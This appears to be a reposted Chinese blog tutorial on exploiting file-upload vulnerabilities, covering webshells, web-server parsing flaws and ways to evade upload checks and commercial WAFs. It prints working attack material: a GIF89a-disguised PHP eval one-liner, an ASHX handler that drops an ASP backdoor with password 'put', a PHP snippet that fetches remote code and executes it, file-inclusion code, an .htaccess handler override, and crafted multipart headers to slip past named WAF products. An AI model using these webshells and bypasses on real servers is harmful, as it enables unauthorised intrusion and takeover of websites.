• 文件上传漏洞


    webshell 简介

    W e b S h e l l 就是以a s p 、p h p 、j s p 或者c g i 等网页文件形式存在的一种
    命令执行环境, 也可以将其称之为一种网页后门。
    W e b S h e l l 后门隐蔽较性高,可以轻松穿越防火墙,访问W e b S h e l l 时不会留下系统日志, 只会在网站的w e b 日志中留下一些数据提交记录

    文件上传漏洞原理

    • 1、文件上传漏洞形成的原因
      ① 对于上传文件的后缀名( 扩展名) 没有做较为严格的限制
      ② 对于上传文件的M I M E T Y P E ( 用于描述文件的类型的一种表述方法) 没有
      做检查
      ③ 权限上没有对于上传的文件目录设置不可执行权限, ( 尤其是对于
      s h e b a n g 类型的文件)
      ④ 对于w e b s e r v e r 对于上传文件或者指定目录的行为没有做限制
    • 2、文件上传漏洞的原理
      网站W e b 应用都有一些文件上传功能, 比如文档、图片、头像、视频
      上传, 当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,
      此时攻击者就可以上传一个w e b s h e l l 到一个W e b 可访问的目录上, 并将恶
      意文件传递给如P H P 解释器去执行, 之后就可以在服务器上执行恶意代码,
      进行数据库执行、服务器文件管理, 服务器命令执行等恶意操作。还有一
      部分是攻击者通过W e b 服务器的解析漏洞来突破W e b 应用程序的防护。

    文件上传校验姿势

    • 客户端javascript校验(一般只校验后缀名)
      • 可以采用白名单,也可以采用黑名单的方式
    • 服务端校验
      • 文件头content-type字段校验(image/gif)
      • 文件内容头校验(二进制,GIF89a)
      • 文件加载检测:一般是调用AP I 或函数去进行文件加载测试,例如图像渲
        染测试, 当测试结果正常的时候才允许上传
        一次渲染( 代码注入)
        二次渲染
      • 后缀名黑名单校验
      • 后缀名白名单校验
      • 自定义正则校验
    • WAF设备校验(根据不同的WAF产品而定)

    解析漏洞

    攻击者在利用上传漏洞时, 通常会与W e b 容器的解析漏洞配合在一起。
    常见的W e b 容器有I I S 、N g i n x 、A p a c h e 、T o m c a t 。

    • I I S 解析漏洞:(基于I I S 6 . 0 环境)
      • iis6.0畸形解析:asa、cer
      • iis6.0目录解析漏洞:
        当建立* . a s a * . a s p 格式的文件夹时, 其目录下的任意文件都将被I I S 当做a s p 文件来解析。
      • iis6.0文件解析漏洞:
        只要文件名中含有.asp;会优先按asp来解析。
        测试案例: 创建文件名为t e s t . a s p ; 1 . j p g , 其内容为< % = N O W ( ) % >
      • IIS7.5文件解析:test.jpg/.php
      • WebDav:基于HTTP1.1协议的通用协议,如果服务器开启,则可能支持PUT、Move、Copy、Delete
        • 可以通过OPTIONS方法探测服务器所支持的HTTP方法,如:
          OPTIONS / HTTP1.1
          Host: www.baidu.com
    • A p a c h e 解析漏洞:(基于apache1.x和apache2.x)
      • A p a c h e 在解析文件名的原理:
        当遇到不认识的扩展名, 将会从后向前解析, 直到碰到认识的扩展名。
        如文件名为1 . p h p . a a , 首先解析a a 扩展名, 发现不认识继续向前面遍历。若果都不认识,则会暴露其源代码。
      • 配置apache可识别的拓展名:apache安装目录下的/conf/mime.types文件
    • P H P C G I ( N g i n x ) 解析漏洞:
      • 对任意文件名只要在URL后面追加上字符串/任意文件名.php就会按照php的方式去解析。
        如:访问xxx.xx.com/1.jpg/1.php,在访问UR L 时,当N g i n x 服务器遇到1 . p h p 是不存在的文件时, 便会向前遍历解析,1.jpg会按照php脚本来解析,于是造成解析漏洞
      • 在P H P 的配置文件中有一个选项: cg i . f i x _ p a t h i n f o = T r u e, 在访问UR L 时,当N g i n x 服务器遇到1 . p h p 是不存在的文件时, 便会向前遍历解析。c g i . f i x _ p a t h i n f o 默认是开启的
    • Nginx解析漏洞
      • 一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
      • 还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
        (任意文件名)%00.php

    分类总结一下绕过手段(绕过常与解析漏洞一起使用)

    前端限制绕过

    • 中间人攻击
      • 使用BURP抓包修改后重放
    • 或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

    服务器端绕过

    • 黑名单后缀绕过
      • 从黑名单中找到web开发人员忽略的扩展名,如:.cer
      • 大小写、双写等等
      • Windows系统下,如果文件名以.空格结尾,系统会自动去除.空格后的内容,利用此特性也可绕过
    • MIME类型绕过
      • 上传木马时,提示格式错误。直接抓包修改Content-Type为正确的格式尝试绕过
    • 目录验证
      • 上传时,通常允许将文件上传到指定目录。如果指定的目录存在,则直接上传,如果目录不存在,则建立目录并上传
    • 00截断绕过上传
      在asp程序中最常见
      • 在URL中使用 %00
      • 在burp中使用时,先将文件命名为形如:1.asp空格ha.jpg,然后进入hex,将空格20改为16进制数00
        alt
    • 文件内容检测绕过
      • 针对文件内容检测的绕过,一般有两种方式,

        • 1.制作图片马

          • 将马写入到图片中
        • 2.文件幻术头绕过

          • 在文件内容开头加入GIF89a。GIF89a图片头文件欺骗,使用getimagesize函数无法判断其图片是无效的。
          • GIF89a<script language='php'>@eval($_POST['ye']);</script>

    文本编辑器上传漏洞

    多次上传Win特性绕过

    • 多次上传同一个文件,windows会自动更新补全TEST (1).php
      有时会触发条件竞争,导致绕过。

    条件竞争绕过

    • 通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

    CONTENT-LENGTH绕过

    针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。
    上传文件的大小取决于,Web服务器上的最大长度限制。
    我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

    垃圾数据填充绕过

    • 修改HTTP请求,再之中加入大量垃圾数据。

    文件扩展名绕过

    php除了可以解析php后缀还可以解析php2、php3、php4、php5、php7、phtml、phps、pht

    ashx上传绕过

    • cer,asa,cdx等等无法使用时候。

    • 解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put

    <%@WebHandlerLanguage="C#"Class="Handler"%> usingSystem; usingSystem.Web; usingSystem.IO; publicclassHandler:IHttpHandler{ publicvoidProcessRequest(HttpContext context){ context.Response.ContentType="text/plain"; //这里会在目录下生成一个test.asp的文件 StreamWriter file1=File.CreateText(context.Server.MapPath("test.asp")); //这里是写入一句话木马 密码是:put file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close(); } publicboolIsReusable{ get{ returnfalse; } } }

    Windows流特性绕过

    • php在windows的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持::$DATA之前的文件名。
      如:Test.php::$DATA.jpg 生成0.jp

    白名单后缀绕过

    • IIS 6.0目录路径检测解析绕过
      • 上传路径改为 XXX/1.asp/

    htaccess解析漏洞

    • 上传的jpg文件都会以php格式解析
    • .htaccess内容: AddType application/x-httpd-php .jpg
    • CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是x0A,如上传a.php,然后在burp中修改文件名为a.phpx0A),以此来绕过一些黑名单过滤。

    下载绕过

    远程下载文件绕过

    <?php
    $str = file_get_contents('http://127.0.0.1/ian.txt'); $str($_post['ian']);
    ?>

    文件包含绕过

    上传图片木马
    $x=$_GET['x'];
    include($x);
    访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

    安全狗绕过

    • 1.绕过思路:对文件的内容,数据,数据包进行处理。

      • 关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"

      • 将form-data;修改为~form-data;

    • 2.通过替换大小写来进行绕过

      • Content-Disposition: form-data; name="file"; filename="yjh.php"

      • Content-Type: application/octet-stream

      • 将Content-Disposition修改为content-Disposition

      • 将 form-data 修改为Form-data

      • 将Content-Type修改为content-Type

    • 3.通过删减空格来进行绕过

      • Content-Disposition: form-data; name="file"; filename="yjh.php"

      • Content-Type: application/octet-stream

      • 将Content-Disposition: form-data 冒号后面增加或减少一个空格

      • 将form-data; name="file";分号后面增加或减少一个空格

      • 将Content-Type: application/octet-stream 冒号后面增加一个空格

    • 4.通过字符串拼接绕过

      • Content-Disposition: form-data; name="file"; filename="yjh3.php"

      • 将 form-data 修改为 f+orm-data

      • 将from-data 修改为 form-d+ata

    • 5.双文件上传绕过
      <formaction="https://www.xxx.com/xxx.asp(php)"method="post"name="form1"enctype="multipart/form-data">
      <inputname="FileName1"type="FILE"class="tx1"size="40">
      <inputname="FileName2"type="FILE"class="tx1"size="40">
      <inputtype="submit"name="Submit"value="上传">
      </form>

    • 6.HTTP header 属性值绕过

      • Content-Disposition: form-data; name="file"; filename="yjh.php"
      • 我们通过替换form-data 为*来绕过
      • Content-Disposition:*; name="file"; filename="yjh.php"
    • 7.HTTP header 属性名称绕过

      • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
      • Content-Type: image/png
      • 绕过内容如下:
        • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
        • C.php"
        • 删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php"
    • 8.等效替换绕过

      • 原内容:

        • Content-Type: multipart/form-data; boundary=---------------------------471463142114
      • 修改后:

        • Content-Type: multipart/form-data; boundary =---------------------------471463142114
      • boundary后面加入空格

    • 9.修改编码绕过

      • 使用UTF-16、Unicode、双URL编码等等

    WTS-WAF 绕过上传

    • 原内容:
      • Content-Disposition: form-data; name="up_picture"; filename="xss.php"
    • 添加回车
      • Content-Disposition: form-data; name="up_picture"; filename="xss.php"

    百度云上传绕过

    百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话,,自己合成图片马用Xise连接即可。

    • Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

    阿里云上传绕过

    • 源代码:

      • Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"
      • Content-Type:image/jpeg
    • 修改如下:

      • Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
    • 没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

    360主机上传绕过

    • 源代码:
      • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
      • Content-Type: image/png
    • 绕过内容如下:
      • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
      • Content-Disposition 修改为 Content-空格Disposition
  • 相关阅读:
    AdaBoost算法学习
    梯度下降与随机梯度下降
    Logistic Regression学习
    PCA算法
    VS2013常见错误排查
    K临近算法
    遗传算法小结
    SLIC超像素(superpixel)算法
    openslide api函数概要
    线程钩子
  • 原文地址:https://www.cnblogs.com/hacker-snail/p/13925902.html
Copyright © 2020-2023  润新知